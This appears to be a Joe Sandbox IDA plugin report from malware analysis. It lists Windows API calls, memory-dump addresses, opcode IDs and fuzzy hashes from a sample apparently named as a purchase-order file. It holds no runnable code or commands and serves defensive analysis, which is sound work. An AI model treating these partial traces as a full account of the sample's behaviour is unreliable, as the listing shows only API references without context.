                                                                                                • Instruction Fuzzy Hash: D14182705043019FE320DF15C8C8F7B7BA8EB89724F04466EF9548B391DB74A846CB69
                                                                                                APIs
                                                                                                • InterlockedExchange.KERNEL32(?,000001F5), ref: 0044B490
                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                • ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 0044B4C2
                                                                                                • EnterCriticalSection.KERNEL32(00000000), ref: 0044B4E3
                                                                                                • LeaveCriticalSection.KERNEL32(00000000), ref: 0044B5A0
                                                                                                • ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 0044B5BB
                                                                                                  • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                  • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                  • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                • InterlockedExchange.KERNEL32(?,000001F6), ref: 0044B5D1
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CriticalExchangeFileInterlockedReadSection$EnterException@8LeaveThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                • String ID:
                                                                                                • API String ID: 1726766782-0
                                                                                                • Opcode ID: e847362e8212c48497cf987e940142560fa97d77052a47f3763f75ee85494eb5
                                                                                                • Instruction ID: bf52b5dc2e344941501510e432fc863898df75637e45487ca8cd05157db66b41
                                                                                                • Opcode Fuzzy Hash: e847362e8212c48497cf987e940142560fa97d77052a47f3763f75ee85494eb5
                                                                                                • Instruction Fuzzy Hash: 09415C75104701AFD320EF26D845EABB3F8EF88708F008E2DF59A92650D774E945CB6A
                                                                                                APIs
                                                                                                • ShowWindow.USER32(?,00000000,?,?,?,?,00448962,004A83D8,?,?), ref: 004410F9
                                                                                                • EnableWindow.USER32(?,00000000), ref: 0044111A
                                                                                                • ShowWindow.USER32(?,00000000,?,?,?,?,00448962,004A83D8,?,?), ref: 00441183
                                                                                                • ShowWindow.USER32(?,00000004,?,?,?,00448962,004A83D8,?,?), ref: 00441192
                                                                                                • EnableWindow.USER32(?,00000001), ref: 004411B3
                                                                                                • SendMessageW.USER32(?,0000130C,?,00000000), ref: 004411D5
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Window$Show$Enable$MessageSend
                                                                                                • String ID:
                                                                                                • API String ID: 642888154-0
                                                                                                • Opcode ID: c853c7407bbaf9010c68549c691492fdcd401e5b0cb22aeb5446aebbed6f20c9
                                                                                                • Instruction ID: 824eeaafe1f931a994963cd163acc5b0ce47b26168a6fd4ee38d593e4569daee
                                                                                                • Opcode Fuzzy Hash: c853c7407bbaf9010c68549c691492fdcd401e5b0cb22aeb5446aebbed6f20c9
                                                                                                • Instruction Fuzzy Hash: 14417770604245DFE725CF14C984FA6B7E5BF89300F1886AEE6859B3B2CB74A881CB55
                                                                                                APIs
                                                                                                • SendMessageW.USER32(00000000,00001024,00000000,?), ref: 004490E3
                                                                                                • SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004490F8
                                                                                                • SendMessageW.USER32(00000000,0000111E,00000000,?), ref: 0044910D
                                                                                                • InvalidateRect.USER32(?,00000000,00000001), ref: 00449124
                                                                                                • GetWindowLongW.USER32(00000000,000000F0), ref: 0044912F
                                                                                                • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 0044913C
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend$LongWindow$InvalidateRect
                                                                                                • String ID:
                                                                                                • API String ID: 1976402638-0
                                                                                                • Opcode ID: 2b574cf222373ea94a5f8b1e2da5d15417ee742d7ff148607d59a4e94613559a
                                                                                                • Instruction ID: 8b80d2acd15126bdfc8b54909556444574c0e56a9806921f1e0b477f33817628
                                                                                                • Opcode Fuzzy Hash: 2b574cf222373ea94a5f8b1e2da5d15417ee742d7ff148607d59a4e94613559a
                                                                                                • Instruction Fuzzy Hash: F231B476244202AFF224DF04DC89FBBB7A9F785321F14492EF291973D0CA75AC469729
                                                                                                APIs
                                                                                                • GetForegroundWindow.USER32 ref: 00442597
                                                                                                  • Part of subcall function 004344B7: GetWindowRect.USER32(?,?), ref: 004344D3
                                                                                                • GetDesktopWindow.USER32 ref: 004425BF
                                                                                                • GetWindowRect.USER32(00000000), ref: 004425C6
                                                                                                • mouse_event.USER32(00008001,?,?,?,?), ref: 004425F5
                                                                                                  • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                                • GetCursorPos.USER32(?), ref: 00442624
                                                                                                • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00442690
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
                                                                                                • String ID:
                                                                                                • API String ID: 4137160315-0
                                                                                                • Opcode ID: 9bf1d5af4d3523281d87c855d40d0150606dc562a9e0308dc2a2f88b36285eae
                                                                                                • Instruction ID: 1581b522c3ee05a339ffa1fd07f9e8cd23967deed6539873686ea33d82c69dd2
                                                                                                • Opcode Fuzzy Hash: 9bf1d5af4d3523281d87c855d40d0150606dc562a9e0308dc2a2f88b36285eae
                                                                                                • Instruction Fuzzy Hash: 7C31C1B2104306ABD310DF54CD85E6BB7E9FB98304F004A2EF94597281E675E9058BA6
                                                                                                APIs
                                                                                                • SendMessageW.USER32(?,000000F1,?,00000000), ref: 0044886C
                                                                                                • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                                • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                                • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                                • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                                • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Window$Enable$Show$MessageSend
                                                                                                • String ID:
                                                                                                • API String ID: 1871949834-0
                                                                                                • Opcode ID: 703f0702a5e3ae6889c0b2c4cbd553a5347372704319c0c884d711360b5070ea
                                                                                                • Instruction ID: fbfed122d4da650e42f877d7e8bff2bfe9b33138fa51555fe8345b8bcc16d821
                                                                                                • Opcode Fuzzy Hash: 703f0702a5e3ae6889c0b2c4cbd553a5347372704319c0c884d711360b5070ea
                                                                                                • Instruction Fuzzy Hash: A731F3B07443819BF7248E14C8C4BAFB7D0AB95345F08482EF981A63D1DBAC9846872A
                                                                                                APIs
                                                                                                • _memset.LIBCMT ref: 0044961A
                                                                                                • SendMessageW.USER32 ref: 0044964A
                                                                                                  • Part of subcall function 00433A98: _wcspbrk.LIBCMT ref: 00433AAC
                                                                                                • SendMessageW.USER32(?,00001074,?,00000001), ref: 004496AC
                                                                                                • _wcslen.LIBCMT ref: 004496BA
                                                                                                • _wcslen.LIBCMT ref: 004496C7
                                                                                                • SendMessageW.USER32(?,00001074,?,?), ref: 004496FD
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend$_wcslen$_memset_wcspbrk
                                                                                                • String ID:
                                                                                                • API String ID: 1624073603-0
                                                                                                • Opcode ID: 3158986b153f08837b9b71a8f77f3cc169978b1c24ba43a32ffefb24081b9654
                                                                                                • Instruction ID: 7e49a266cf7116299f7bc8659d1ce07b00adedb8b3f1b428e1954e4b11147a1e
                                                                                                • Opcode Fuzzy Hash: 3158986b153f08837b9b71a8f77f3cc169978b1c24ba43a32ffefb24081b9654
                                                                                                • Instruction Fuzzy Hash: B631CA71508300AAE720DF15DC81BEBB7D4EBD4720F504A1FFA54862D0EBBAD945C7A6
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID:
                                                                                                • API String ID:
                                                                                                • Opcode ID: 8dc28afdcb3e23db499faf1906c1cec9916ddd90de084288035f36419de8ba35
                                                                                                • Instruction ID: 0263b137e1f68684b0dae4bb7f633391a2f723f0f4072b7ce39308acd6c8c458
                                                                                                • Opcode Fuzzy Hash: 8dc28afdcb3e23db499faf1906c1cec9916ddd90de084288035f36419de8ba35
                                                                                                • Instruction Fuzzy Hash: 31219272245110ABE7108B68DCC4B6F7798EB96374F240A3AF512C61E1EA7998C1C769
                                                                                                APIs
                                                                                                • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 004555AD
                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: DestroyWindow$DeleteObject$IconMove
                                                                                                • String ID:
                                                                                                • API String ID: 1640429340-0
                                                                                                • Opcode ID: da39536b61dc90218e8938c0c8165bcff49a91d8f884d8405ba8ed69dafdd4fa
                                                                                                • Instruction ID: 2ee25f48dcb0ad8048bc4d9c922f6cac320a9d705fdb810e808868a6102f62dc
                                                                                                • Opcode Fuzzy Hash: da39536b61dc90218e8938c0c8165bcff49a91d8f884d8405ba8ed69dafdd4fa
                                                                                                • Instruction Fuzzy Hash: 05312770200A419FD724DF24C998B3A73F9FB44312F4485AAE945CB266E778EC49CB69
                                                                                                APIs
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: __fileno__setmode$DebugOutputString_fprintf
                                                                                                • String ID:
                                                                                                • API String ID: 3354276064-0
                                                                                                • Opcode ID: 44da5cbe136b9a97bfd5e2050e6700f1212f0f901edc4668462b95a159366457
                                                                                                • Instruction ID: 1e9a75ed7ce68f0ee686932f25d41d1f14ae1a91d469003489e3a0780bce169f
                                                                                                • Opcode Fuzzy Hash: 44da5cbe136b9a97bfd5e2050e6700f1212f0f901edc4668462b95a159366457
                                                                                                • Instruction Fuzzy Hash: 6D11F3B2D0830136D500BA366C02AAF7A5C4A91B5CF44056EFD4563293EA2DAA4943FF
                                                                                                APIs
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Destroy$DeleteMenuObject$IconWindow
                                                                                                • String ID:
                                                                                                • API String ID: 752480666-0
                                                                                                • Opcode ID: e2db828b4da75c1988a3618645d7ad87c2567147b1e4a2a373431826dce2281b
                                                                                                • Instruction ID: bf467a0aa8f060071afd9cdae546a2eb92d9c059e8a57ac1e588bb5f3fc3a395
                                                                                                • Opcode Fuzzy Hash: e2db828b4da75c1988a3618645d7ad87c2567147b1e4a2a373431826dce2281b
                                                                                                • Instruction Fuzzy Hash: 26215E30200A019FC724DF24D5E8B7AB7A9FB44312F50855EED498B392CB39EC89CB59
                                                                                                APIs
                                                                                                • DestroyWindow.USER32(00000000), ref: 0045527A
                                                                                                • ImageList_Destroy.COMCTL32(?), ref: 0045528C
                                                                                                • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Destroy$DeleteObjectWindow$IconImageList_
                                                                                                • String ID:
                                                                                                • API String ID: 3275902921-0
                                                                                                • Opcode ID: 9ca718b8a23ef3076e20a4bf5a66fd8e296fb8dfd37af4e8726ba93a3cadf818
                                                                                                • Instruction ID: c357af2a313eda44c34a26cb015c973203dd8f66e4d80e74dc1abfaeb9ce60f9
                                                                                                • Opcode Fuzzy Hash: 9ca718b8a23ef3076e20a4bf5a66fd8e296fb8dfd37af4e8726ba93a3cadf818
                                                                                                • Instruction Fuzzy Hash: 2D217E70604A019BC714DF79D99466AB7A5BF44311F40856EF919CB342DB38E849CF68
                                                                                                APIs
                                                                                                • GetCurrentProcess.KERNEL32(0000000A,?,?,?,?,?,00446540,?,?,?,?,?,?,?,?,?), ref: 0043935D
                                                                                                • OpenProcessToken.ADVAPI32(00000000,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439364
                                                                                                • CreateEnvironmentBlock.USERENV(?,?,00000001,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439376
                                                                                                • CloseHandle.KERNEL32(?,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439383
                                                                                                • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,?,?,?,?), ref: 004393C0
                                                                                                • DestroyEnvironmentBlock.USERENV(?,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 004393D4
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                                                                • String ID:
                                                                                                • API String ID: 1413079979-0
                                                                                                • Opcode ID: 1d720b0393062126ad9b64f1bf0a3b497d62ac8a089cd0237a290436ac7c4432
                                                                                                • Instruction ID: 8c652321442b38080740e7d333ba663a52d3460857ef2618669649d87ea194c0
                                                                                                • Opcode Fuzzy Hash: 1d720b0393062126ad9b64f1bf0a3b497d62ac8a089cd0237a290436ac7c4432
                                                                                                • Instruction Fuzzy Hash: 7B2150B2208300ABD314CB65D854EABB7EDEBCD754F084E1DF989A3250C7B4E901CB25
                                                                                                APIs
                                                                                                • ___set_flsgetvalue.LIBCMT ref: 0041418F
                                                                                                • __calloc_crt.LIBCMT ref: 0041419B
                                                                                                • __getptd.LIBCMT ref: 004141A8
                                                                                                • CreateThread.KERNEL32(?,?,004140DB,00000000,?,?), ref: 004141DF
                                                                                                • GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 004141E9
                                                                                                • __dosmaperr.LIBCMT ref: 00414201
                                                                                                  • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                  • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit
                                                                                                • String ID:
                                                                                                • API String ID: 1803633139-0
                                                                                                • Opcode ID: 9093ead1b57094de5194e295d789e60ec266b8318c1e976fb280fb1b07ce6f9a
                                                                                                • Instruction ID: ec3febacf030228bba34671a5a373aa86179f0c9a00f1e1343e4adce14cbcb36
                                                                                                • Opcode Fuzzy Hash: 9093ead1b57094de5194e295d789e60ec266b8318c1e976fb280fb1b07ce6f9a
                                                                                                • Instruction Fuzzy Hash: 1311DD72504209BFCB10AFA5DC828DF7BA8EF44368B20446EF50193151EB39C9C18A68
                                                                                                APIs
                                                                                                • ImageList_Destroy.COMCTL32(?), ref: 004555E8
                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Destroy$DeleteObjectWindow$IconImageList_
                                                                                                • String ID:
                                                                                                • API String ID: 3275902921-0
                                                                                                • Opcode ID: 9bb8e3ba902fb320eab333f0308ec6d2a7ed81620e332b79689394e938adb37d
                                                                                                • Instruction ID: 9e206caaed87a4944845468030bda76e3f946505fe2e652cce1cc100bc4c7c20
                                                                                                • Opcode Fuzzy Hash: 9bb8e3ba902fb320eab333f0308ec6d2a7ed81620e332b79689394e938adb37d
                                                                                                • Instruction Fuzzy Hash: BE2141702006409FCB25DF25C994A2B77A9FF44312F80856EED49CB352DB39EC4ACB59
                                                                                                APIs
                                                                                                • SendMessageW.USER32 ref: 004554DF
                                                                                                • SendMessageW.USER32(?,00001008,00000000,00000000), ref: 004554FA
                                                                                                • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: DeleteDestroyMessageObjectSend$IconWindow
                                                                                                • String ID:
                                                                                                • API String ID: 3691411573-0
                                                                                                • Opcode ID: ffc9a8f4f75f6e2ff6fdc7cc9300f0c908ecc9e004d580c3573be367ed75df53
                                                                                                • Instruction ID: ead105b7aa3a144aa2df3f4c31681f961a0d6b706109639263d1a652a664e8ec
                                                                                                • Opcode Fuzzy Hash: ffc9a8f4f75f6e2ff6fdc7cc9300f0c908ecc9e004d580c3573be367ed75df53
                                                                                                • Instruction Fuzzy Hash: A5118F713046419BDB10DF68DD88A2A77A8FB58322F404A2AFE14DB2D1D775DC498B68
                                                                                                APIs
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
